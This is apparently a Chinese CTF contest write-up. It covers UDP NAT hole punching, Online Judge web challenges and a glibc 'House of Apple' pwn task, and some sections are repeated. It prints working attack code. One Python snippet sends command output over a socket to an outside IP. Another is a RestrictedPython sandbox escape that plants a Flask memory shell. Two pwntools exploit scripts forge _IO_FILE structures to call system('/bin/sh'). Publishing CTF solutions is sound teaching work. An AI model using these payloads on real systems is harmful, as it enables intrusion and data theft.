image-20241021184853018

(2/3) 敲开 UDP 之门

【中等】列出你的端口清单

出题组为了给大家整点简单题,可谓是费劲了心思。本来只放最后一道 NAT 就可以了,善良的出题人还是想尽一切手段多整出来俩,一个正向连接一个反向连接。

这题呢很显然要求大家使用 UDP 协议在本机监听端口,供容器里的应用程序反向连接

我看提交上来的 wp,大多数同学使用了 python,这当然是没问题的。实际上有一个更简单的工具,nc (netcat),也在文档站中给予大家很多次的提示了,nc 用来简单收发包是最快的。

Python 代码大家问 AI 也都写得出来,nc 的话呢,一行命令就完事。

image-20241021185224552

image-20241021185243018

实际上,善良的出题人还为本容器环境提供了外网访问,大家使用公网服务器或者在线的 UDP 服务也是可以的。

在选手交上来的 wp 中,我还发现有使用 wireshark 抓包 UDP 流量的,当然也可以,那就不用监听也不用管防火墙了,随便发就完事。

(3/3) 敲开 UDP 之门

【困难】通往 NAT 的阶梯

本系列应该是作为 “校园网” 系列的第二套,刚开始是想考察大家有关 IPv6 的知识,引导大家对自己电脑上 IPv6 的探索。后来发现这个题确实不太好出。你说考协议吧,这未免门槛有点儿高,而且最关键的是,目前的比赛环境(docker)在搭建的时候没有考虑 IPv6 的扩展,一来二去,最后就换了个方向,考察 Connection tracking 相关知识,也就是本题的 UDP 打洞

本题其实也是紧密结合校园网环境的。我见过有同学抱怨,你说网口都分公网 IP 了,咋还整个入向防火墙呢?那跟分内网 IP 有啥区别?接着看下去,你就会明白了。

NAT 呢顾名思义,网络地址转换呗。给你分的 172 打头的内网 IP,经过 NAT 设备或者说边界路由器,它帮你把源 IP 换成 210 开头的公网 IP 发送到互联网世界中(SNAT),然后收到回包时,再进行相反的转换(目标 IP 由 210 转换至你的 172),并转发。原因很简单,如果不给你转换,172 打头的内网 IP 发到公网当中会被过滤,而且就算成功到达了目标服务器,它也不知道咋把包回给你,全世界有那么多 172 打头的内网 IP,而路由是单向且非对称的!

NAT 有很多种类型,这里不进行详细介绍,我们主要关注 Full Cone(锥形)Symmetric(对称) 这两种。

Full Cone 又被称作 1:1 NAT,一个内网 IP1 与一个公网 IP2 一一对应,由内网 IP1:PORT 发出的流量会被直接映射到公网 IP2:PORT,反之亦然。这种 NAT 类型其实相当于给了公网 IP,只不过在你网卡上体现的是一个内网 IP,多见于大厂的云服务 Virtual Cloud Network(或者类似的名称)。可以发现,这种 NAT 类型是 Stateless 的,IP1 与 IP2 的所有端口完全对应,从互联网上的流量,可以直接通过 IP2:PORT 访问到 IP1:PORT 。

而与之相对,Symmetric 具有将多个内网 IP 映射至仅仅数个公网 IP 出口的能力,这就丢失了上面 IP:PORT 的双向对应性质,因此需要维护一个 Connection tracking 表,也被称作 Stateful NAT 。其要求内网客户端主动对外发起连接,然后 NAT 设备维护源 IP1:PORT1,并为其分配对应出口 IP2:PORT2 且建立映射,此后,从源请求的公网地址发向 IP2:PORT2 的数据才能到达 IP1:PORT1,若没有该条映射,则外部网络将永远无法访问到 IP1:PORT1 ;这样的映射关系在 Linux 系统中可以通过 conntrack -L 命令查看。

咱们学校的入向防火墙,其实与 Symmetric NAT 的本质是一样的(更准确的说,在大部分不冲突的情况下为 Port Restricted Cone NAT,当然最重要的特性是 Address and Port-Dependent Filtering),其阻断一切外来请求,除非该连接是从内部主动建立的。

题目环境实际上相当于模拟了该种入向防火墙,而你充当了“公网服务器”的角色,需要想办法连接到运行在内部的 UDP 服务器。

这样的操作被称作 UDP 打洞。为什么本题不使用 TCP 的原因是,TCP 三次握手四次挥手,考 408 或者背过八股的同学应该很熟。TCP 打洞的过程中,由于握手时需要三个完整的状态变迁 SYN SYN+ACK ACK,所以只能保证单方向连接的建立;而由于 UDP 是无状态的,一个包过去打通之后产生的信道可以被视作双向

说了这么多,所以本题到底该怎么解决呢?不知道有没有同学尝试起一个 UDP Server 然后直接在 Connect 界面跟 127.0.0.1 交互,但是很遗憾,这种方法已经被我 ban 掉了,回显里不会出现 flag 。

由于该 UDP 服务器监听在容器的内部网段,并且唯一对外的 Port-mapping 是 80 端口,所以默认情况下根本没有办法访问监听在这里边的 UDP Server 。善良的出题人也给了大家 Info 界面,通过 IP 信息以及 Traceroute 结果应该可以发现并印证这一点。

别忘了,还有个 Connect 主动发包的功能。如上所述,UDP 是无状态的。我们使用内部 IP1:SPORT 向外 IP3:DPORT 发送信息时,会在 NAT 设备(在这里就是题目环境外边的 Linux)上创建一条 (IP1, SPORT) => (IP3, DPORT) 的映射,且记录 (IP2, MPORT) 为该连接的 NAT 信息。我们尝试用 SPORT 12345 向 YOUR_IP:12345 发一条 UDP 信息,然后看看 conntrack 的结果:

$ sudo conntrack -L -j | grep 12345
udp      17 26 src=10.0.230.98 dst=YOUR_IP sport=12345 dport=12345 [UNREPLIED] src=YOUR_IP dst=202.199.6.66 sport=12345 dport=12345 mark=0 use=1

可以发现,10.0.230.98 就是容器环境的 IP,而由 (10.0.230.98, 12345) => (YOUR_IP, 12345) 的记录已经出现在了其中,且该连接的 NAT 信息,由于 Linux 内核的设计,体现在回包的部分,即允许 (YOUR_IP, 12345) => (202.199.6.66, 12345) 的传输。这时候又可以想想了,如果我们现在往 202.199.6.66:12345 发包,它是不是就会把该内容转发至容器内的 12345 端口了呢?答案是肯定的,这就是 NAT 的工作原理。

所以说,本题其实非常简单:

  1. 在你的机子上监听 12345 端口,为了查看创建的 NAT 映射规则;
  2. 在 Connect 界面使用源 12345 端口朝你的 IP:12345 端口发包
  3. image-20241021214221950
  4. 得到 IP2:MPORT 为 202.199.6.66:12345 ;
  5. 在 Listen 界面监听 12345 端口;
  6. 使用你的 IP:12345 往 202.199.6.66:12345 发包。如果你使用步骤 3 的 nc 指令,直接按下回车即可。但要注意手速不能太慢了,上面 conntrack 显示的结果中第三栏表示该项的过期时间为 26s 。
  7. image-20241021214849505
  8. 简简单单 Flag 到手

通过查看选手们的 wp,解出本题的同学均表示:难度应该改成【简单】,秒出。

虽然解出人数只有 5,让我觉得还是能令大家受益匪浅。

(1/3) Online Judge

【简单】Uncontrollable

我一想,前面让大家玩得开心了这么久,是时候回归一下老本行,毕竟生活中不会只有顺心事。本系列是一个非常经典的 CTF Web 系列。前两道题给大家热热身,第三道题已经可以算是能出现在 CTF 比赛中的题了。虽然由于我的设计失误导致唯一解是非预期,但其实也算变向为大家降低了难度,出题人真善良。

本系列其实是参考 oj.neu.edu.cn 设计的,当然我千万没有那个意思,只是从网络安全的角度上带大家合计合计而已。

流行的 OJ 一般会采用底层沙箱,如 seccomp,但这里为了给大家降低难度,使用了最时髦的 Python 语言进行设计。

本题呢,其实没有任何难度。没有任何限制,调用 exec() 直接执行代码。当然某些行为可能与各位直接在控制中尝试的不太一样,但其实完全不影响。特别是善良的出题人还提示大家,Flag 位于评测机的根目录下。不知道为啥有的同学会对这句话的理解产生歧义,我自认为说得很清楚了,根目录就是 Root directory,而且是评测机的根目录不是 Judger 的根目录(这个应该被称作当前目录)也不是网站的根目录。

由于有回显,代码也很简单,一行就完事了。

image-20241022162437860

大家只要会 Python 应该不难写出来吧?

(1/3) Online Judge

【简单】Uncontrollable

我一想,前面让大家玩得开心了这么久,是时候回归一下老本行,毕竟生活中不会只有顺心事。本系列是一个非常经典的 CTF Web 系列。前两道题给大家热热身,第三道题已经可以算是能出现在 CTF 比赛中的题了。虽然由于我的设计失误导致唯一解是非预期,但其实也算变向为大家降低了难度,出题人真善良。

本系列其实是参考 oj.neu.edu.cn 设计的,当然我千万没有那个意思,只是从网络安全的角度上带大家合计合计而已。

流行的 OJ 一般会采用底层沙箱,如 seccomp,但这里为了给大家降低难度,使用了最时髦的 Python 语言进行设计。

本题呢,其实没有任何难度。没有任何限制,调用 exec() 直接执行代码。当然某些行为可能与各位直接在控制中尝试的不太一样,但其实完全不影响。特别是善良的出题人还提示大家,Flag 位于评测机的根目录下。不知道为啥有的同学会对这句话的理解产生歧义,我自认为说得很清楚了,根目录就是 Root directory,而且是评测机的根目录不是 Judger 的根目录(这个应该被称作当前目录)也不是网站的根目录。

由于有回显,代码也很简单,一行就完事了。

image-20241022162437860

大家只要会 Python 应该不难写出来吧?

(2/3) Online Judge

【中等】Desirable

本题去除了回显,并且删除了所有可执行文件。有的 OJ 就是这么设计的(或,禁止了 system() 调用),当然我不好指名道姓。这种防护有多弱,大家在解出本题的过程中应该能体会到。

并且本题还对 /flag 设置了 600 权限,避免你通过 open() 直接打开,需要 RCE 。当然善良的出题人还贴心地在根目录下放了 readflag 生怕大家看不见,就算不知道 SUID 相关知识,看到这玩意儿试着运行一下 Flag 也能出来。

至于该如何获取回显呢?如果大家有仔细研究过 Hard 难度的环境的话,应该能发现,直接出网发送就行了。当然还有一种侧信道泄露的做法,类似于时间盲注,二分一下 sleep() 的条件判断回显。

所以说,本题依旧没有特别难。再加上,善良的出题人令环境容器能出公网(之前也提到过很多次),就更简单了。首先列一下目录,或者观察一下环境变量,发现根目录下有 /readflag 直接执行完事。

def s(d, i, p):
    import socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((i, p))
    s.sendall(d)

# 列目录
#import os
#s(repr(os.listdir('/')).encode(), 'IP', PORT)

# 获取 flag
import subprocess
s(subprocess.check_output(['/readflag']), 'IP', PORT)

注意到有选手使用 os.system() 或者 os.popen() 执行命令,在这里会爆出 Runtime Error,为什么呢?大家如果细看它们的源代码的话,会发现最终调用到 subprocess.Popen() 的时候都会带个 shell=True 的参数,顾名思义,就是使用系统的 shell 执行你提供的字符串,即 /bin/sh -c 'YOUR_COMMAND' 。所以在本题删除几乎所有可执行文件的前提下,是没有办法成功的。

至于那个非预期,我将在下一部分好好地讲一讲。

(3/3) Online Judge

【困难】Escapable

断网之后,再修了侧信道泄露的问题,还加了沙箱,这些因素综合起来,使其成为了一个经典的 CTF Web 题。难度是足够的,本来想作为防 AK 题的,没想到出了非预期 :)

老油条可以一眼想到,断网 => 打内存马沙箱 => 开绕!当然善良的出题人考虑到大家的经验不足,也添加了足够的提示。

感兴趣的同学可以自行学习,这里就不细说一些关于 Python 继承链以及 attribute 的基础知识了。

首先 RestrictedPython 是最新版本,没有 0day 可以绕过。当然也没有选手当场挖出来 (˶˃ ᵕ ˂˶)

看看源代码,首先 builtins 被换了。builtins 是 Python 的内置函数、对象或类型集,当然也包括 eval()、exec() 或 compile() 这些危险的函数。使用 RestrictedPython 提供的 safe_builtins 基本上就杜绝了对这些危险函数的直接访问,因此保证当前执行环境是安全的。

image-20241022171306609

如果大家稍微了解过 CTF Web 的话,应该对 SSTI(Server Side Template Injection) 这个词有点印象。SSTI 在 Python(准确的来说是 Flask 的 Jinja2 渲染引擎)里的攻击方法体现,就是绕过沙箱。其利用 Python 对象的继承链一步步往上溯源,如 __mro__, __subclasses__, __class__, __init__, __globals__, __builtins__,最终可以访问到当前执行环境作用域外全局变量,然后通过它们找到 exec() 或调用别的危险函数。

以上这些,大家可以通过搜索 "Flask/Jinja2 SSTI" 关键词学习。

那么在本题,很显然无法直接采用类似的 Payload 。因为 Python 的 "." 运算,最终调用的是 __getattribute__ 这个 Magic method,而 RestrictedPython 通过手动解析 AST 将类似的调用都进行了检测,体现在 Line 70 的 safer_getattr 处。该函数会拒绝获取任何 Python 的危险内置属性,包括 co_code,或任何以下划线开头的属性名。并且,本题中(Line 79)也对代码进行了一个简单的过滤,不能直接包含两个下划线,因此类似于 obj.__class__ 是行不通的。

那么问题出在哪里呢?善良的出题人也给予了也大家提示,就是 getattr() 。本题为了支持调用 map() 等看上去人畜无害的 builtin-functions,特地引入了诸多内置函数,却不知其中最危险的就是 getattr() 。上面说过,"." 调用的是 __getattribute__ ,那么最终来到的肯定是 getattr() 这个内置函数。题目环境直接将它引入 builtins 里了,就相当于 safer_getattr 啥用没有,把 obj.__class__ 写成 getattr(obj, '_'+'_class_'+'_') 即可。

然后就可以沿用 SSTI 的方法成功找到 app (Flask Application) 等变量,并且重新引入 import、exec() 等关键函数 。

这是本题的第一步,唯一解的那位同学也是按照预期想到了这里。

然后事情就开始变得不受控制了 :)

问题的根本原因出在哪里呢,其实都得怪 WSL(还是不嫩怪我!)。大家应该能发现,WSL 在 /mnt/ 目录下,即访问 Windows 文件夹时,默认配置下,所有文件的权限都是 777 。我把这一点给忘了,我还当 644 呢,在 Dockerfile COPY 进去的时候所有者会变成 root,也就是说在创建容器环境时,若把 python 用 app 普通用户权限运行起来,应用程序当前目录理应是不可写的。当然这是建立在文件权限为 644 的前提下,实际上在题目环境里它们是 777 ,也就是说随便写。

这一点着实为本挑战降低了不少难度。这样的话就用不着 Flask 内存马了。

要拿到执行的结果,有几种非常典型的方法:【简单】难度直接回显,【中等】难度通过网络外带,另外呢就是侧信道泄露(执行时间、HTTP Status Code 等信息),还有一种类型就是修改当前应用程序。

PHP 直接改就完事了,每次执行都会重新读取。但像 Python、Node.js 这种语言,程序的代码在刚开始执行的时候就已经读取完毕了,并且此后都不会再进行二次读取(当然,除了外部引用)。包括本题中使用 Production 模式运行的 Flask 应用程序,甚至对于 templates/ 里的模板文件都会在第一次访问时缓存,之后再怎么修改都不会重新读取

非预期解的那位同学,实际上还利用了题目环境的另一个机制——用 gunicorn 起的四线程服务器。很合理的是,当一个 worker thread 掉了的时候,daemon 就会重新把它拉起,在这个过程中,就会重新读取一次代码。当然,这跟环境的 restart: always 没什么关系,因为按照我的设计,init 进程挂了之后是没办法再开起来的,只能重开容器。

所以他的做法是:sandbox 逃逸完后,直接获取 flag 并写在 app.py 或 templates/index.html 里,然后 os.kill() 掉当前 worker thread,之后再刷新,等再次负载均衡到这个 thread 时,就能回显出写进去的 flag 。

777 权限无疑为本题降低了不少难度。但如果是按照预期的 644 设计呢?应用程序目录不可写。

其实也不难,大家直接搜关键词 “Flask 内存马” 就行了,简单来说,就是获取到 app 变量后,再为它重新注册一个恶意的路由。一些过时的文章提到的 add_url_rule() 在高版本 Flask 下是不行的,我这里采用了 before_request_funcs ,相当于拦截路由然后包含 flag 的回显即可。

经过了如此漫长的分析,最终得到的 exp 其实很短:

g = getattr(input, '_''_globals_''_')
imp = g['_''_builtins_''_']['_''_import_''_']
g['app'].before_request_funcs.setdefault(None, []).append(lambda imp=imp: imp('subprocess').check_output(['/readflag']))

运行过后多刷新几次即可。

644 的情况,本题其实还存在另外一个非预期解,我也在撰写本 wp 时才猛然发现。大家是否注意到了呢?

【 ? 】Write Where?

别问,问就是 IO_FILE,什么?还不知道?看看苹果房子吧,他会帮助你的。

由于题目用的是 glibc-2.35 许多传统的方法都被 ban 了,但是还是有人研究的许多新的利用方法,本题的预期解就是利用 house of apple 中的 IO 利用链(在劫持_IO_FILE->_wide_data的基础上,直接控制程序执行流)。

参考:House of apple 一种新的glibc中IO攻击方法 (2)-Pwn

准备

题目给了 glibc 和 ld ,可以用 patchelf 为题目附件更换 libc

chmod +x ./pwn ./libc.so.6 ./ld-linux-x86-64.so.2 
patchelf --replace-needed libc.so.6 ./libc.so.6 pwn
patchelf --set-interpreter ./ld-linux-x86-64.so.2 pwn 

程序分析

程序很简单:

可以利用 puts_addr 得到 libc 地址,接下来就是任意写,写哪里呢?由于开了 PIE ,偏移的基址得不到,栈的基地址也得不到,那么可以下手的地方就 libc 。

上面也提及了本题的预期解就是利用 house of apple 中的 IO 利用链(在劫持_IO_FILE->_wide_data的基础上,直接控制程序执行流。)

部分 IO 保护源代码:

if ((
    (fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	|| (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && 
                (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
        )
	)
	&& _IO_OVERFLOW (fp, EOF) == EOF)
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */        #cond.6
#define _IO_CURRENTLY_PUTTING 0x0800

if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
	{
	  _IO_wdoallocbuf (f);                                              #call this
	  _IO_free_wbackup_area (f);
	  _IO_wsetg (f, f->_wide_data->_IO_buf_base,
		     f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);

	  if (f->_IO_write_base == NULL)
	    {
	      _IO_doallocbuf (f);
	      _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
	    }
	}

IO_FILE 部分重要的结构:

pwndbg> p *((FILE*)_IO_list_all)
$4 = {
  _flags = 996700960,       #0x3b687320 & 0x0008 and & 0x0800 == 0
  _IO_read_ptr = 0x0,
  _IO_read_end = 0x0,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _markers = 0x0,
  _chain = 0x74d6ab050d70 <__libc_system>,
  _fileno = 0,
  _flags2 = 0,
  _old_offset = -1,
  _cur_column = 0,
  _vtable_offset = 0 '\000',
  _shortbuf = "",
  _lock = 0x74d6ab21b6d8 <_IO_2_1_stderr_+56>,
  _offset = -1,
  _codecvt = 0x0,
  _wide_data = 0x74d6ab21b690,
  _freeres_list = 0x0,
  _freeres_buf = 0x0,
  __pad5 = 0,
  _mode = 0,
  _unused2 = '\000' <repeats 19 times>
}
pwndbg> p *((FILE*)_IO_list_all)._wide_data
$5 = {
  _IO_read_ptr = 0x3b687320 <error: Cannot access memory at address 0x3b687320>,
  _IO_read_end = 0x0,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x0,
  _IO_write_end = 0x1 <error: Cannot access memory at address 0x1>,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _IO_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = "\000\000\000"
    }
  },
  _IO_last_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = "\000\000\000"
    }
  },
  _codecvt = {
    __cd_in = {
      step = 0x74d6ab050d70 <__libc_system>,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0xffffffffffffffff <error: Cannot access memory at address 0xffffffffffffffff>,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = -1423853864,
        __statep = 0xffffffffffffffff,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = "\000\000\000"
          }
        }
      }
    },
    __cd_out = {
      step = 0x74d6ab21b690,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = 0,
        __statep = 0x0,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = "\000\000\000"
          }
        }
      }
    }
  },
  _shortbuf = L"\xab2170c0",
  _wide_vtable = 0x74d6ab21b690
}

exp

题解一

利用链:

puts -> __xsputn -> 伪造为 _IO_wfile_overflow

IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)

利用 _IO_wfile_overflow 函数控制程序执行流:

  • _flags = ~(2 | 0x8 | 0x800)
  • vtable = _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 的地址(加减偏移)
  • _wide_data = 可控堆地址A(即满足 *(fp+0xa0)=A
  • _wide_data->_IO_write_base = 0(即满足 *(A+0x18)=0
  • _wide_data->_IO_buf_base = 0(即满足 *(A+0x30)=0
  • _wide_data->_wide_vtable = 可控堆地址B(即满足 *(A+0xe0)=B
  • _wide_data->_wide_vtable->doallocate = 地址C,用于劫持 RIP(即满足 *(B+0x68)=C
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

p = process('./pwn')
# p = remote('202.199.6.66', 37306)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

# leak libc base
p.recvuntil('0x')
put_addr = int(p.recvline(), 16)
libc.address = put_addr - libc.symbols['puts']
success("puts addr: " + hex(put_addr))
success("libc base: " + hex(libc.address))

# 覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针
stdout_addr = libc.symbols['_IO_2_1_stdout_']
success("stdout addr: " + hex(stdout_addr))

p.send(p64(stdout_addr))

A = stdout_addr
B = stdout_addr

# 利用链
# puts -> __xsputn -> 伪造为 _IO_wfile_overflow
# _IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)
fake = FileStructure(0)
fake.flags = b"\xf5\xf7;\sh;\x00"                       # _flags = ~(2 | 0x8 | 0x800) (由于要布置 \sh;,进行了一点修改)
fake._lock = libc.symbols['_IO_stdfile_1_lock']         # 绕过检测
fake._wide_data = A                                     # 满足 *(fp+0xa0)=A
fake.chain = libc.symbols['system']                     # 满足 *(B+0x68)=C
fake.vtable = libc.symbols['_IO_wfile_jumps'] - 0x20    # vtable = _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 的地址(加减偏移)

# 自动会用 0x00 填充,所以这里不用管
# ● _wide_data->_IO_write_base = 0(即满足 *(A+0x18)=0)
# ● _wide_data->_IO_buf_base = 0(即满足 *(A+0x30)=0)

fake = flat({
    0: bytes(fake),
    0xe0: B                                             # 满足 *(A+0xe0)=B
})

# gdb.attach(p, 'b system')
p.send(fake)

p.interactive()

题解二

调用链

_IO_flush_all -> _IO_flush_all_lockp -> [_IO_wdefault_xsgetn](IO_wstrn_jumps) (伪造)

_IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

path = './pwn'
p = process(path)
#p = remote('202.199.6.66', 39964)
elf = ELF(path)
libc = ELF('./libc.so.6')

p.recvuntil(b'puts_addr: ')
puts_address = int(p.recvline()[:-1], 16)
log.success(f'puts_address: {hex(puts_address)}')
libc.address = puts_address - libc.sym['puts']
log.success(f'libc.address: {hex(libc.address)}')

fp_address = libc.sym['_IO_list_all'] + 0x10
log.success(f'fp_address: {hex(fp_address)}')

fake = FileStructure(0)
fake._IO_write_ptr = 1                                  #mode = 0
fake._IO_write_base = 0                                 #cond.1 (fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)

fake._lock = fp_address + 0x48                          #cond.2 _IO_flockfile (fp); _lock address vaild
fake._wide_data = fp_address                            #cond.3 vtable address(_wide_data)
fake.chain = libc.sym['system']                         #cond.4 vtable(*(_wide_data+0xe0))+0x68 -> win_address
fake.vtable = (libc.sym['_IO_wfile_jumps']+24) - 0x18   #cond.5 _IO_wfile_overflow  <_IO_flush_all_lockp+223>    call   qword ptr [rax + 0x18]
fake.flags = b' '*8                                     #cond.6    0x7b262828639e <_IO_wfile_overflow+14>     mov    eax, dword ptr [rdi]     EAX, [0x7b262841b690] => 0x6e69622f
                                                               # ► 0x7b26282863a0 <_IO_wfile_overflow+16>     test   al, 8                    0x2f & 0x8     EFLAGS => 0x202 [ cf pf af zf sf IF df of ]
                                                               #   0x7b26282863a2 <_IO_wfile_overflow+18>   ✔ jne    _IO_wfile_overflow+304      <_IO_wfile_overflow+304>                   
fake._IO_read_ptr = b'/bin/sh\x00'                      #空格填充后接着填入 /bin/sh

fake = flat({
    0:bytes(fake),
    0xe0:fp_address                                     #cond.4
})

payload = p64(fp_address) + p64(0) + bytes(fake)

p.recvuntil(b'Write where?\n')
p.send(p64(libc.sym['_IO_list_all']))

# gdb.attach(p, 'b _IO_flush_all_lockp')
p.send(bytes(payload))

p.interactive()

【 ? 】Write Where?

别问,问就是 IO_FILE,什么?还不知道?看看苹果房子吧,他会帮助你的。

由于题目用的是 glibc-2.35 许多传统的方法都被 ban 了,但是还是有人研究的许多新的利用方法,本题的预期解就是利用 house of apple 中的 IO 利用链(在劫持_IO_FILE->_wide_data的基础上,直接控制程序执行流)。

参考:House of apple 一种新的glibc中IO攻击方法 (2)-Pwn

准备

题目给了 glibc 和 ld ,可以用 patchelf 为题目附件更换 libc

chmod +x ./pwn ./libc.so.6 ./ld-linux-x86-64.so.2 
patchelf --replace-needed libc.so.6 ./libc.so.6 pwn
patchelf --set-interpreter ./ld-linux-x86-64.so.2 pwn 

程序分析

程序很简单:

可以利用 puts_addr 得到 libc 地址,接下来就是任意写,写哪里呢?由于开了 PIE ,偏移的基址得不到,栈的基地址也得不到,那么可以下手的地方就 libc 。

上面也提及了本题的预期解就是利用 house of apple 中的 IO 利用链(在劫持_IO_FILE->_wide_data的基础上,直接控制程序执行流。)

部分 IO 保护源代码:

if ((
    (fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	|| (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && 
                (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
        )
	)
	&& _IO_OVERFLOW (fp, EOF) == EOF)
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */        #cond.6
#define _IO_CURRENTLY_PUTTING 0x0800

if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
	{
	  _IO_wdoallocbuf (f);                                              #call this
	  _IO_free_wbackup_area (f);
	  _IO_wsetg (f, f->_wide_data->_IO_buf_base,
		     f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);

	  if (f->_IO_write_base == NULL)
	    {
	      _IO_doallocbuf (f);
	      _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
	    }
	}

IO_FILE 部分重要的结构:

pwndbg> p *((FILE*)_IO_list_all)
$4 = {
  _flags = 996700960,       #0x3b687320 & 0x0008 and & 0x0800 == 0
  _IO_read_ptr = 0x0,
  _IO_read_end = 0x0,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _markers = 0x0,
  _chain = 0x74d6ab050d70 <__libc_system>,
  _fileno = 0,
  _flags2 = 0,
  _old_offset = -1,
  _cur_column = 0,
  _vtable_offset = 0 '\000',
  _shortbuf = "",
  _lock = 0x74d6ab21b6d8 <_IO_2_1_stderr_+56>,
  _offset = -1,
  _codecvt = 0x0,
  _wide_data = 0x74d6ab21b690,
  _freeres_list = 0x0,
  _freeres_buf = 0x0,
  __pad5 = 0,
  _mode = 0,
  _unused2 = '\000' <repeats 19 times>
}
pwndbg> p *((FILE*)_IO_list_all)._wide_data
$5 = {
  _IO_read_ptr = 0x3b687320 <error: Cannot access memory at address 0x3b687320>,
  _IO_read_end = 0x0,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x0,
  _IO_write_end = 0x1 <error: Cannot access memory at address 0x1>,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _IO_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = "\000\000\000"
    }
  },
  _IO_last_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = "\000\000\000"
    }
  },
  _codecvt = {
    __cd_in = {
      step = 0x74d6ab050d70 <__libc_system>,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0xffffffffffffffff <error: Cannot access memory at address 0xffffffffffffffff>,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = -1423853864,
        __statep = 0xffffffffffffffff,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = "\000\000\000"
          }
        }
      }
    },
    __cd_out = {
      step = 0x74d6ab21b690,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = 0,
        __statep = 0x0,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = "\000\000\000"
          }
        }
      }
    }
  },
  _shortbuf = L"\xab2170c0",
  _wide_vtable = 0x74d6ab21b690
}

exp

题解一

利用链:

puts -> __xsputn -> 伪造为 _IO_wfile_overflow

IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)

利用 _IO_wfile_overflow 函数控制程序执行流:

  • _flags = ~(2 | 0x8 | 0x800)
  • vtable = _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 的地址(加减偏移)
  • _wide_data = 可控堆地址A(即满足 *(fp+0xa0)=A
  • _wide_data->_IO_write_base = 0(即满足 *(A+0x18)=0
  • _wide_data->_IO_buf_base = 0(即满足 *(A+0x30)=0
  • _wide_data->_wide_vtable = 可控堆地址B(即满足 *(A+0xe0)=B
  • _wide_data->_wide_vtable->doallocate = 地址C,用于劫持 RIP(即满足 *(B+0x68)=C
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

p = process('./pwn')
# p = remote('202.199.6.66', 37306)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

# leak libc base
p.recvuntil('0x')
